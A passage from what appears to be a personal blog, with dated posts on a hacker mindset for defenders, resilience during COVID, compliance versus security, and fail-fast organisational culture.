Have intelligence about what information is available about you and your organisation on the public domain (Surface Web, Deep Web, Dark Web).
Study and appreciate past attacks to understand approaches and the techniques used and then ask and answer honestly what is your risk exposure to these?
Don’t just use the technology as a tool, but understand how each of the components works together, how it’s configured, what happens if you change values.

There are many excellent resources to understand the tools and techniques used by cybercriminals, and two that I like are MITRE’s Att&CK framework which is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations and The Cyber Kill Chain by Lockheed Martin which is part of their Intelligence Drive Defense model for the identification and prevention of cyber intrusions.

The final skill to develop is “oblique thinking” which is a skill that is finely honed in hackers as there is often no direct path to the objective. The ability is in identifying assumptions that you have made and then finding ways that you can violate these to move you along the path to your target. An example of this is that if you look at a payment processing system, there are several gates that you need to pass before you can complete the process. The developer has designed this sequentially in that you go through them in order, but what if you could skip some steps? How can you test this? What has to be true for this to occur and so on. When you look at this problem and then start breaking it down into known and unknown assumptions, you can begin to see new ways to exploit a system.

By thinking differently, asking questions and looking at things from a different angle, you will start to see areas for improvement and stay one step ahead of the threat.

Happy hacking :)

One Problem at a Time

Thu, 30 Jul 2020 00:27:44 +0800

Last week I had a small accident that left me hindered for a few days as I was recovering, and due to the nature of the injury, I had to lie down on my side. I took this time to catch up on reading and watched some TV as wasn’t really in a position to do much more over the weekend.

While all this was happening, I was thinking to myself; I don’t need this, I have enough problems that I need to sort out. It was while I was thinking this that on the TV I heard the term “One problem at a time”. That quote reminded me of an incident that I was told about from Operation Eagle Claw on 24 April 1980.

Operation Eagle Claw was the failed attempted rescue of hostages in the US Embassy in Tehran. Frank MacAlyster, a member of the US Delta Force at the time, was asleep in the C-130 Hercules aircraft which was parked when a helicopter crashed into it. Frank woke up surrounded by flames and smoke, thinking that the plane was still in the air, he decided that the best course of action was to jump out of the plane, which he did with no parachute.

When asked a few days later what he was going to do once he was out of the plane without a parachute, Frank replied,

“One problem at a time Sarge, one problem at a time”

Today, with the COVID19 pandemic, industries are being disrupted, people are losing their jobs and, we all need to change our perspective to not only solving “one problem at a time”, but also to the mindset of “this too shall pass”.

With everything that is going on, it is easy to lose sight of the big picture and focus on the immediate problem, as we saw in the earlier example, but this needs to put into context that what we are facing today shall pass and is a temporary condition.

I had seen this when I was in Australia with the Mining Sector, which only has two states, Boom or Bust. During the boom period, everyone is so busy trying to maximise production output and stretch resources to take advantage of the situation; there is no time for anything else. When it is in the bust period, it is about shutting down mines, retrenching staff and cutting costs. While some of this may be necessary for the longevity of the business, it is during these quiet times, that critical work on systems and processes should be undertaken in preparation for the next boom.

Together we will get through this. Stay strong and healthy, and if you are struggling, help is available.

Staying One Step ahead of the Cybercriminals

Fri, 03 Jul 2020 00:27:44 +0800

Security seems to be the one area that each year we spend more money than we did the previous year to stay one step ahead of the threat. Yet, every year there seem to be more and more significant security breaches!

So, we ask for more money again, and the cycle repeats like a bad case of deja vu or is it just a “glitch in the Matrix”.

As with many things in life, it is not enough to know the rules, you need to understand how to play the game if you are to be successful. A famous quote from Bill Shankly sums it up entirely “The trouble with referees is that they know the rules, but they do not know the game.” So what does this have to do with Security?

There are a lot of organisations that believe that Compliance equals Security. This couldn’t be further from the truth, and before I get flamed about this statement, let me clarify why. Compliance is a point in time assertion against a “specific set of security requirements”. Those standards from organisations such as NIST and ISO are an excellent starting point, and many of these standards have become a benchmark for industry best practices. Therefore, if these are best practices, then why does this not this equal Security? The main reason is the depth of the rules. They aren’t prescriptive enough and nor can they be given the rapid rate of change with technology and the types of attacks. While closing this argument out, look at some of the most significant security breaches in the last few years, and they have all been certified to one standard or the other.

In recent months we have undergone massive changes in how we live and work as a result of Covid-19. As a result, we have seen an enormous uptake in cybercrime such as:

Malicious Domains - The interest in Covid-19 has spawned a mass uptake in domain names that contain “coronavirus”, “covid19” etc. While some are legitimate, cybercriminals are creating thousands of new sites to carry out spam campaigns, phishing or to spread malware.
Malware - Widespread global communications related to the coronavirus are being used to mask criminal activities. Malware, spyware and Trojans have been found embedded in interactive coronavirus maps and websites. Spam emails are also tricking users into clicking on links which download malware to their computers or mobile devices.
Ransomware - Attacks against Hospitals and other agencies on the frontline during the pandemic as they are more likely to pay as they can’t afford to be offline.

There are several correlations between physical and cybersecurity and, having spent several years in the Military we used to have a term called “soft targets” and “hard targets”. Cybercriminals, regardless of how determined are also opportunists who are seeking out easy victims. They are looking for “soft targets” who are:

Accessible - If you’re easily accessible, your odds of being a victim increase.
Predictable - If you do the same thing and respond the same to all types of events, you make the attackers job simple.
Complacent - A soft target is unaware of their surroundings, not vigilant to potential threats and not assertive about self-protection.

Remember, it is not enough to know the rules you need to play the game, and with cybersecurity, it is about striving to be a “hard target” that is:

Inaccessible - You keep the attack surface as small as possible
Unpredictable - You don’t offer patterns or routines that an attacker can use
Vigilant - You monitor your environment and take active steps to protect yourself. In short, you make it evident that you are paying attention and respond accordingly.

If you have finished reading this and think, “I don’t have any data worth stealing” then think again. One of the most sought after and most profitable items in the black market are social media credentials, IDs, passports, utility bills etc. So what makes the above so valuable? The more you understand a person’s life and behaviour, the easier it is for the threat actor to impersonate them. This opens up a multitude of other attack vectors such as phishing or worse, identity theft and fraud.

“The five most efficient cyber defenders are: Anticipation, Education, Detection, Reaction and Resilience. Do remember: “Cybersecurity is much more than an IT topic.” - Stephane Nappo.

Winning... by Failing?

Tue, 04 Feb 2020 00:27:44 +0800

How adopting a fail fast, fail often, fail smarter approach can lead to success in innovation and transformation

“Failure is Awesome; I love to Fail!”

said no one EVER!

When we think of failure it conjures up a range of emotions from inadequacy, worthlessness to why try as I am never going to succeed. This type of self-critical talk is not right for anyone and do you know what, everyone fails (more often than we realise).

It is easy to look around and see examples of failures and below are a few images of ones ranging from simple spelling mistakes.

To sending mixed messages to those to are trying to get into a building

To my favourite of these being a case of mistaken identity when a well-known brand expands its product offerings (I am not sure about you but when I see this I picture a toothbrush with a dab of Lasagna on it)

What does Failure mean to you?

Before we list some common reasons, I want to point out that there is a difference between feeling like a failure and failing at something. We will cover some of the most common opinions and beliefs about failure.

No common sense
Stupidity
Bad decisions and judgement
Lack of thinking
Idiocy
Lack of Intelligence

The above reasons come from your interpretation of who you are and the transference of these onto others when they fail. Failing is just failing and a healthy and unavoidable part of our everyday life. No one is immune!

At an organisational level, I have been to many companies and met individuals who continuously say “we’ve never failed, we don’t know how to fail”, and this attitude will blindside them and the organisation every time.

Learning Fast from Fail Fast

At an organisational level, seven principles need to exist as part of the culture:

Celebrate the Learning Process - We only master skills by learning what works and doesn’t work. A perfect example of this is to watch children when they are beginning to learn to walk. They don’t just decide one day that they are going to walk and master it, they stumble, fall, bump into things and each time make small adjustments, get some help from their parents and before long they are walking around independently.
Create a Culture of Trust and Respect - Everyone needs to feel safe and secure and if we are to indeed find the next major breakthrough or make significant changes in the organisation, then we need to be in a culture that trusts that we are doing right by the organisation and that they respect us to be there for us.
Have a Fast Mourning Curve - As stated earlier, failure is inevitable and when we encounter this in our organisation we should review what happened, extract the lessons learnt and then move on. We can’t continually dwell in the past and nor can we continue to hold this over the heads of those involved.
Accept Failure, Forgive, Don’t Forget - This is important as failure will happen, but we also don’t want to forget the lessons learnt from the past and keep making the same mistakes over and over again.
Move fast and break things - This principle comes from Facebook and whilst I agree that we need to put more emphasis on action, this is dependant on the stage of the organisation and the nature of our business. This needs to be adapted based for our organisation but the principle itself is essential as we look around markets are being continuously disrupted and it would be better if we internally disrupted our business and industry before the competition does.
Be Accountable! - This principle is near and dear to my heart as at the end of the day if you are given the opportunity and something goes wrong, you need to take accountability for it, fix it.
Persistence - “Continuous effort - not strength or intelligence - is the key to unlocking our potential” - Winston Churchill

How do I…

When you look at the above the first thing that should pop into your mind is that these are all common sense and we do it anyway. I completely understand this mindset as who would say that they have a culture that doesn’t embrace respect, trust and learning?

What we say and think versus what we do is often not aligned or people within our organisations at middle levels of management aren’t living by these values and principles.

To get around this and what has been successful for me in the past is to focus on 2 or 3 of the above principles as linchpins to change and then once we get some traction the rest will fall into line. The ones that I focus on initially are the following in order and some steps to implement them in your organisation:

Create a Culture of Trust and Respect - For any change to be implemented there has be a feeling of safety and whilst I am sure there are people saying I can’t control the culture of the company you are correct, but you can control this within your team and your sphere of influence. If you are a team leader then by providing an environment that as the leader you pass credit to your team and if things go wrong you shield them and you take accountability when it goes wrong then your team will see that you have their backs and this builds trust.
Celebrate the Learning Process - This is achieved by giving people an opportunity to take on tasks that are outside their comfort zone and getting them to relook at how things are currently working by challenging them to find ways to improve the process.
Accept Failure, Forgive, Don’t Forget - This is the next logical step to the previous point because as soon as you challenge people to take on new skills it is inevitable that failure will occur. This is the most important thing in that when things go wrong, and they will that you remain calm, provide them with the opportunity to correct this and use it as part of learning development to get them comfortable with making changes and failure. One of the things that I like to do is to host a “Failure Party” and get everyone together in a relaxed environment. We then discuss the changes that have been made in a non-judgemental manner without identifying staff to celebrate what didn’t go to plan and how this ultimately leads to overall success.

I have had the opportunity to apply these principles many times in my career and I like to take a slightly different approach in that I don’t refer to it as failures, but merely as learnings. The reason for doing so is to circumvent the perception that the word failure has in many cultures, but still applying all the above principles and approach.

I have found that when we call it “learnings” you can then come up with a hypothesis on how to solve a problem such as “How do we reduce Customer Interactions by x%?” When you do this you are able to come up with a number of possible reasons and try these in a controlled manner to prove or disprove that they work.

There is a belief that we make a decision and then execute and we get the final result. This is a false belief as no single decision or approach just works out of the box. There are many decisions in between and many of these are wrong, but if we have a way to measure and track then we can course-correct quickly as part of a fast iterative cycle.

The Upside of Failure

The following are some results that were achieved in just one quarter by applying the above principles for Australian Operations of a company in the Telecommunications industry:

94.8% reduction in Call Volume
61.63% reduction in the cost for Inbound Call Charges
50.11% Improvement in Voice Average Speed to Answer
35.71 increase in Number of Chat Interactions
47.98% reduction in Cost to Serve
31./71% reduction in Operations Staff

Wrapping Up

Failure is part of life, we all fail and there is no getting around it. The most successful people are also those to have experienced the most failure and what makes them different is a single realisation which is a failure and feeling like a failure aren’t intertwined.

Failure is temporary and it only becomes permanent if you don’t do anything about it!